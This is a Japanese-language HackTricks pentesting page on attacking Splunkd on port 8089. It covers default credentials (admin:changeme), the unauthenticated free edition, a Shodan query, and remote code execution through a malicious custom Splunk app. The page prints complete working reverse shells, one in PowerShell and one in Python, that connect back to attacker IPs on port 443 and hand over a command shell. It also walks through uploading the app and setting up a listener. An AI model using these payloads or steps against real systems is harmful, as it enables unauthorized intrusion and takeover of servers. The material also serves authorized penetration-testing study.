119 lines
4.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 8089 - Pentesting Splunkd
{{#include ../banners/hacktricks-training.md}}
## **基本情報**
- データ収集、分析、可視化のためのログ分析ツール
- セキュリティ監視やビジネス分析で一般的に使用される
- デフォルトポート:
- ウェブサーバー: 8000
- Splunkdサービス: 8089
### 脆弱性ベクター:
1. 無料版の悪用
- トライアル版は60日後に自動的に無料版に変わる
- 無料版は認証が欠如している
- 管理されない場合、潜在的なセキュリティリスクがある
- 管理者はセキュリティの影響を見落とす可能性がある
2. 認証情報の脆弱性
- 古いバージョン: デフォルトの認証情報 `admin:changeme`
- 新しいバージョン: インストール時に設定された認証情報
- 弱いパスワードの使用の可能性 (例: `admin`, `Welcome`, `Password123`)
3. リモートコード実行の機会
- 複数のコード実行方法:
- サーバーサイドDjangoアプリケーション
- RESTエンドポイント
- スクリプト入力
- アラートスクリプト
- クロスプラットフォームサポート (Windows/Linux)
- スクリプト入力は以下を実行できる:
- Bashスクリプト
- PowerShellスクリプト
- バッチスクリプト
主要な悪用の可能性:
- 機密データの保存
- 無料版の認証の欠如
- リモートコード実行のための複数のベクター
- システム侵害のためのスクリプト入力の活用の可能性
### Shodan
- `Splunk build`
## RCE
### カスタムアプリケーションの作成
Splunkは、カスタムアプリケーションの展開を通じてリモートコード実行のための高度な方法を提供し、そのクロスプラットフォームスクリプティング機能を活用しています。核心的な悪用技術は、WindowsおよびLinuxシステムでリバースシェルを実行できる悪意のあるアプリケーションを作成することにあります。
カスタムアプリケーションは**Python、Batch、Bash、またはPowerShellスクリプト**を実行できます。さらに、**SplunkにはPythonがインストールされている**ため、**Windows**システムでもPythonコードを実行できます。
[**この**](https://github.com/0xjpuff/reverse_shell_splunk)例を使用することができ、**`bin`**には[Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py)と[PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1)の例が含まれています。または、自分自身で作成することもできます。
悪用プロセスは、プラットフォーム全体で一貫した方法論に従います:
```
splunk_shell/
├── bin (reverse shell scripts)
└── default (inputs.conf configuration)
```
重要な設定ファイル `inputs.conf` は、スクリプトを有効にするために以下を行います:
- `disabled = 0` を設定
- 10秒の実行間隔を設定
- スクリプトのソースタイプを定義
デプロイメントは簡単です:
1. 悪意のあるアプリケーションパッケージを作成
2. 攻撃マシンでリスナーNetcat/socatを設定
3. Splunkのインターフェースを通じてアプリケーションをアップロード
4. アップロード時に自動スクリプト実行をトリガー
サンプルWindows PowerShellリバースシェル
```bash
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
```
サンプルLinux Pythonリバースシェル:
```python
import sys, socket, os, pty
ip = "10.10.14.15"
port = "443"
s = socket.socket()
s.connect((ip, int(port)))
[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
pty.spawn('/bin/bash')
```
### RCE & Privilege Escalation
以下のページでは、このサービスがどのように悪用されて特権を昇格させ、持続性を得ることができるかの説明を見つけることができます:
{{#ref}}
../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md
{{#endref}}
## References
- [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
{{#include ../banners/hacktricks-training.md}}